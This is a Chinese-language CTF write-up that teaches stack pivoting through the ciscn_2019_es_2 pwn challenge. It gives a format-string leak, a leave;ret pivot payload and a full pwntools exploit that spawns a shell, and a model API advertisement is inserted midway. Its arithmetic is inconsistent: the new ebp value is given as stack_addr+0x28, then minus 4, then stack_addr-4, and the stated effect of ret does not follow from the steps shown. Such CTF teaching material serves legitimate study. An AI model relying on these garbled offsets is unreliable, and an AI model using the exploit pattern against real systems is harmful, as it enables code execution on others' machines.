1. 栈迁移技术概述
栈迁移(Stack Pivoting)是一种在二进制漏洞利用中常用的技术手段,主要用于解决栈空间不足或栈地址不可控情况下的ROP链构造问题。简单来说,就是通过修改栈指针(ESP/RSP)的值,将栈"迁移"到攻击者可控的其他内存区域。
我第一次在实际CTF比赛中遇到栈迁移技术是在2018年的一场线下赛中,当时面对一个只能溢出8字节的栈溢出漏洞,传统ROP完全无法施展。直到发现栈迁移技术,才恍然大悟原来漏洞利用还能这样玩。
栈迁移的核心原理是通过以下两条指令序列实现:
code复制pop ebp
leave; ret
其中leave指令等价于:
code复制mov esp, ebp
pop ebp
这个技术之所以有效,是因为它利用了函数调用约定中ebp寄存器的作用。在函数调用时,ebp通常被用作帧指针(Frame Pointer),保存着当前栈帧的基地址。通过精心构造的ebp值,我们可以将栈指针esp重定向到任意地址。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. buuctf ciscn_2019_es_2题目分析
2.1 题目基本信息
这道题是2019年全国大学生信息安全竞赛(CISC)的一道pwn题,题目提供了一个32位的ELF可执行文件。使用checksec检查保护机制:
code复制Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
关键保护机制解读:
- 32位程序,小端序
- 没有栈溢出保护(Canary)
- 开启了NX(堆栈不可执行)
- 没有地址随机化(PIE)
2.1 漏洞点定位
使用IDA反编译后,可以很快发现漏洞函数:
c复制int vul()
{
char buf[40]; // [esp+0h] [ebp-28h]
memset(buf, 0, 0x20u);
read(0, buf, 0x30u);
return printf(buf);
}
这里存在两个明显问题:
- 栈缓冲区溢出:buf大小40字节,但read读取48字节
- 格式化字符串漏洞:直接使用printf输出用户输入
不过经过测试,溢出空间非常有限:
- buf位于ebp-0x28
- 可覆盖空间只有8字节(0x30-0x28)
2.2 利用思路分析
传统ROP在8字节的空间内几乎无法施展,这时候就需要考虑栈迁移技术。具体思路如下:
- 第一次输入:利用格式化字符串泄露栈地址
- 第二次输入:构造栈迁移payload
- 覆盖ebp为目标地址-4
- 覆盖返回地址为leave;ret指令地址
- 迁移后的栈上布置ROP链
3. 栈迁移详细实现
3.1 地址泄露阶段
首先需要获取栈地址,这是后续栈迁移的关键。通过格式化字符串漏洞可以轻松实现:
python复制payload = b'%6$p'
p.send(payload)
stack_addr = int(p.recv(10), 16) - 0x38
这里解释几个关键点:
%6$p表示打印第6个参数的值(从0开始计数)- 通过调试确定栈上哪个位置保存着有用的地址
- 计算偏移得到buf的起始地址
3.2 栈迁移payload构造
迁移payload需要精心构造ebp和返回地址:
python复制payload = b'A'*0x28 # 填充buf
payload += p32(stack_addr + 0x28) # 新ebp值
payload += p32(leave_ret) # 返回地址
这里stack_addr + 0x28的计算逻辑是:
- 原始buf位于stack_addr
- 迁移后我们希望新栈顶位于stack_addr + 0x28
- 因此需要设置ebp为stack_addr + 0x28 - 4(因为leave指令会先mov esp,ebp再pop ebp)
3.3 迁移后的ROP链布置
在第二次输入时,我们需要在stack_addr处预先布置好ROP链:
python复制rop_chain = p32(system_addr)
rop_chain += p32(0) # 返回地址
rop_chain += p32(binsh_addr) # 参数
payload = rop_chain.ljust(0x28, b'A')
payload += p32(stack_addr - 4)
payload += p32(leave_ret)
这样当程序执行leave;ret时:
- mov esp, ebp → esp = stack_addr - 4
- pop ebp → ebp = [stack_addr](不重要)
- ret → eip = [stack_addr+4](ROP链开始)
4. 完整利用代码解析
下面给出完整的exp.py代码及详细注释:
python复制from pwn import *
context(arch='i386', os='linux', log_level='debug')
# 准备工作
p = process('./ciscn_2019_es_2')
elf = ELF('./ciscn_2019_es_2')
# 第一步:泄露栈地址
p.send(b'%6$p')
stack_addr = int(p.recv(10), 16) - 0x38
log.success(f"Stack address: {hex(stack_addr)}")
# 获取必要地址
leave_ret = 0x080484b8 # objdump -d | grep leave
system_plt = elf.plt['system']
binsh = next(elf.search(b'/bin/sh\x00'))
# 构造ROP链
rop_chain = p32(system_plt)
rop_chain += p32(0) # 返回地址
rop_chain += p32(binsh) # 参数
# 第一次输入:布置ROP链
payload = rop_chain.ljust(0x28, b'A')
payload += p32(stack_addr - 4) # 新ebp
payload += p32(leave_ret) # 返回地址
p.send(payload)
# 获取shell
p.interactive()
5. 调试技巧与注意事项
5.1 关键断点设置
在调试栈迁移时,建议在以下位置设置断点:
- read函数返回后
- leave指令执行前
- leave指令执行后
使用gdb调试命令示例:
code复制b *0x80484b8 # leave;ret地址
r < <(python3 exp.py)
5.2 常见问题排查
-
栈地址计算错误:
- 确保泄露的地址与目标位置偏移计算正确
- 使用gdb的
telescope $esp命令查看栈布局
-
迁移后ROP链不执行:
- 检查leave指令执行后的esp值
- 确认ROP链布置的位置是否正确
-
段错误(Segmentation Fault):
- 检查所有地址是否可读
- 确认栈迁移后的内存区域是可写的
5.3 优化建议
-
使用ROPgadget工具查找更多可用gadget:
code复制ROPgadget --binary ./ciscn_2019_es_2 -
考虑使用one_gadget简化利用:
code复制one_gadget ./libc.so.6 -
对于更复杂的情况,可以结合堆漏洞进行利用
6. 栈迁移技术的变种与应用
6.1 64位环境下的栈迁移
64位环境下原理类似,但需要注意:
- 寄存器变为RBP和RSP
- 参数传递通过寄存器(RDI, RSI等)
- 可能需要额外的gadget来处理参数
6.2 结合堆分配的栈迁移
当有堆分配能力时,可以将栈迁移到堆空间:
- 分配足够大的堆块
- 在堆上布置ROP链
- 将栈迁移到堆地址
6.3 多阶段栈迁移
对于更复杂的场景,可能需要多次迁移:
- 第一次迁移到临时位置
- 在临时位置布置第二次迁移payload
- 最终迁移到目标位置
这种技术在ASLR环境下特别有用,可以逐步构造完整的利用链。
